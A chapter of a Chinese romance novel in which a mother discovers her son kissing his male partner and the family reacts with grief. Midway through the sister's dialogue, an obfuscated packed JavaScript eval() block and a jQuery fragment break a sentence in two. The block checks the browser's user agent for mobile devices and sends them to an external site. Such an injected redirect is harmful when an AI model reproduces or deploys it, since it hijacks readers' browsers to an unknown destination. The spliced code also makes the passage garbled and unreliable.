“好。”他说，只一个字。
尼玛旺堆的眼睛瞬间亮了，亮得像把所有的月光都吸了进去。他再次吻他，这次更温柔，更绵长，像一个正式的盖章认证。
从那天起，他们开始“谈恋爱”——用尼玛旺堆的话说。
但这场恋爱谈得悄无声息，像地下河在岩层下流淌。或许很早之前就已经开始恋爱了。他们依然睡在两个被窝，依然在家人面前保持适当的距离，依然把最亲密的时刻留给深夜和无人看见的角落。
但这种克制本身，让那些偶尔的触碰、短暂的对视、无意中交叠的手指，有了千钧的重量。
沈翊以为，他们可以一直这样下去。等到时间足够久，等到阿妈米玛啦身体好转，等到春天的草长到可以掩藏秘密的高度。
他错了。
事情发生在一个普通的下午。
阿妈米玛啦的精神好了些，愿意到院子里晒太阳。德吉次仁在厨房准备晚饭，尼玛旺堆在修理牛棚的门。沈翊蹲在院子里，学着用羊毛捻线，这是阿妈米玛啦生病前教他的，他还没学会。
阳光很好，晒得人懒洋洋的。沈翊捻着捻着就走了神，眼睛看着尼玛旺堆的方向。尼玛旺堆正踮着脚钉钉子，藏袍的下摆随着动作微微摆动，露出结实的小腿。
沈翊看得入神，没注意到阿妈米玛啦正看着他。
尼玛旺堆钉完钉子，转身跳下来，拍了拍手上的灰。看见沈翊在看他，他笑了笑，走过来。
“学会了吗？”他蹲到沈翊身边，凑近看那团歪歪扭扭的毛线。
“没有。”沈翊老实说，“太难了。”
“我教你。”尼玛旺堆自然地接过他手里的东西，手指不可避免地碰到沈翊的手指。碰到的一瞬间，两人都顿了一下。
然后尼玛旺堆抬起头，看着沈翊。阳光落进他的眼睛，变成细碎的金色光点。沈翊看着那些光点，看着光点里自己的倒影，忽然就忘了呼吸。
他们离得很近。近到能看见对方瞳孔的收缩，能感受到对方呼出的热气，能闻到彼此身上熟悉的、混合了阳光和尘土的味道。
时间仿佛慢下来。院子里的一切声音，德吉次仁在厨房切菜的声音，远处牛羊的叫声，风吹过经幡的声音，都退得很远。世界缩小到这个角落，缩小到这两双对视的眼睛。
尼玛旺堆先动了。他极慢地、试探地往前倾了倾身。沈翊没有躲。
然后他们的嘴唇碰在一起。
很轻的一个吻，像蝴蝶停在花瓣上，停留不超过三秒。分开时，两人的脸都红了，眼睛里都有种做了坏事的心虚，和掩藏不住的甜蜜。
他们同时转头，看向阿妈米玛啦坐的方向。
然后，血液凝固了。
阿妈米玛啦没有在睡觉。她睁着眼睛，直直地看着他们。那张总是慈祥的、温和的脸，此刻像一尊突然风化的石像，所有的表情都碎了，只剩下最原始的震惊，和震惊底下更深的东西：恐惧，愤怒，失望，还有一种被背叛的痛。
时间真的静止了。
尼玛旺堆猛地站起来，动作太急，差点摔倒。他张了张嘴，想说什么，但发不出声音。沈翊还蹲在地上，仰头看着阿妈米玛啦，大脑一片空白。
阿妈米玛啦也站了起来。她的动作很慢，像每个关节都在生锈。她看看儿子，又看看沈翊，眼神从一个人脸上移到另一个人脸上，像在确认什么可怕的事实。她以为之前的都是在开玩笑……
然后，她转身，一言不发地走回屋里。脚步很稳，但背影佝偻得厉害，像突然老了十岁。
院门在她身后关上，发出沉闷的声响。
那声响像一巴掌，扇醒了呆滞的两个人。尼玛旺堆看向沈翊，脸色惨白：“我……”
“你推开了我。”沈翊说，声音平静得自己都惊讶。
尼玛旺堆这才意识到，在母亲转身的瞬间，他下意识地后退了一步，和沈翊拉开了距离。这个动作很小，但足够伤人。
“对不起，”他急急地说，伸手想碰沈翊，又在半空中停住，“我不是……我只是……”
“我知道。”沈翊站起来，拍了拍膝盖上的土，“你只是被吓到了。”
他说得对。
尼玛旺堆是被吓到了，不是被母亲看见，而是被母亲眼中的那种眼神吓到了。那眼神他见过一次，在很多年前
父亲带着那个女人回来的时候。那是信任崩塌的眼神，是世界破碎的眼神。
“我会跟阿妈解释。”尼玛旺堆说，声音里有种强撑的坚定，“我会让她明白……”
“不用。”沈翊打断他，“这东西强求不了，顺势而为罢。”
他弯腰捡起那团没捻完的羊毛线，转身往屋里走。走到门口时，他停下来，回头看着还站在院子里的尼玛旺堆。
月亮不知何时已经升起来了，和夕阳的余晖混在一起，把尼玛旺堆的影子拉得很长，长到几乎要碰到沈翊的脚边。
“你先进去吧，”沈翊说，“我……我去看看德吉次仁要不要帮忙。”
他逃也似的进了厨房。留下尼玛旺堆一个人站在院子里，站在越来越浓的暮色里，站在刚刚开始就似乎已经结束的春天里。
那天晚上，阿妈米玛啦没有出来吃饭。德吉次仁把饭端进她房间，很快就出来了，脸色不太好。
“阿妈说她不吃。”德吉次仁说，眼睛看着尼玛旺堆，“她还说，让你吃完饭去找她。”
晚饭吃得像一场默哀仪式。三个人坐在餐桌旁，只有筷子碰碗的声音。尼玛旺堆吃得很少，眼睛不时瞟向母亲
房间紧闭的门。沈翊埋头吃饭，尝不出任何味道。
吃完饭，尼玛旺堆去了母亲房间。沈翊帮着德吉次仁收拾碗筷，两人在厨房的水槽前沉默地干活。
“沈翊，”德吉次仁忽然开口，声音很轻，“给我点时间。”
沈翊转头看她。
“给我点时间说服她。”德吉次仁说，手上刷碗的动作没停，“阿妈她……她经历过太多不好的事。她不是讨厌你，她是害怕。”
“怕什么？”
“怕失去。”德吉次仁把洗好的碗放到架子上，甩了甩手上的水，“怕失去儿子，怕失去这个家好不容易维持的体面，怕成为别人的笑柄。”她苦笑了一下，“你不知道，在这个村子里，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183003|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闲言碎语能杀人，妈妈死过一次了……”
沈翊懂了。
不是不懂，是太懂了。
在他来的那个世界，闲话也能杀人，只是方式更隐蔽，更精致。
“我不急。”他说，“我可以等。”
“等多久？”德吉次仁问，眼神里是悲悯，对他们，对自己怜悯。
沈翊沉默了。等多久？等到阿妈米玛啦接受？如果她永远不接受呢？等到尼玛旺堆做出选择？如果他选择了母亲呢？
他没有答案。
尼玛旺堆在母亲房间里待了很久。沈翊先回了房间，躺在床上，睁着眼睛看天花板。灯早已熄了，只有月光从窗户流进来，在地上画出一块惨白的光斑。
门开了。尼玛旺堆走进来，没点灯，摸黑走到床边坐下。沈翊能听见他沉重的呼吸声。
“她说什么？”沈翊问，声音在黑暗里显得格外清晰。
尼玛旺堆沉默了很久。
“她说，”他的声音哑得厉害，“她宁愿我娶个不喜欢的女人，生几个孩子，平平淡淡过一辈子。也不要
我……不要我和你在一起。”
沈翊的心沉下去。但他没说话，只是等着。
“我说不行。”尼玛旺堆继续说，像是在背诵一段艰难的课文，“我说我做不到。我说沈翊不是一时的冲动，是我认真想过后半生要在一起的人。”
“然后呢？”
“然后她哭了。”尼玛旺堆的声音开始颤抖，“我从小到大，没见阿妈哭过几次。父亲走的时候她没哭，生病难受的时候她没哭，可是今天……她哭了。”
沈翊想象那个画面，那个坚强的、撑起整个家的女人，在儿子面前无声地流泪。他的心揪紧了，不是为了自己，是为了那个女人的绝望，和这个男人的痛苦。
“对不起，”尼玛旺堆又说，这次是真正的崩溃，“对不起，沈翊，我不知道……我不知道会这么难……”
沈翊坐起来，在黑暗里找到他，抱住他。尼玛旺堆把脸埋在他肩头，身体在发抖。这个在冰川前镇定自若，在
江泽面前霸气护他的男人，此刻脆弱得像个迷路的孩子。
“不是你的错。”沈翊说，一遍遍抚摸他的后背，“不是任何人的错。”
“那是谁的错？”尼玛旺堆问，声音闷闷的。
沈翊答不上来。如果爱一个人是错，那这世界早就错了千百年。如果被一个人爱是错，那他甘愿一错再错。
但这话现在不能说。现在只能抱着他，让他哭，让他把所有的愧疚和痛苦都哭出来。然后等天亮，等春天真正
到来，等冻土彻底融化，等河流带走冬天所有的尸体——包括那些名为偏见、恐惧、和旧伤的记忆。
也许会等到。也许等不到。
但此刻，在这个月光清冷的房间里，在这个春天即将全面到来的夜晚，他们至少还有彼此的体温，还有这个安静而疼痛的拥抱。
窗外，年楚河的水声隐约可闻。河水正在上涨，带着融雪的清冽，和冰层下整个冬天的秘密，奔向不可知的远方。
而春天，已经近在眼前了。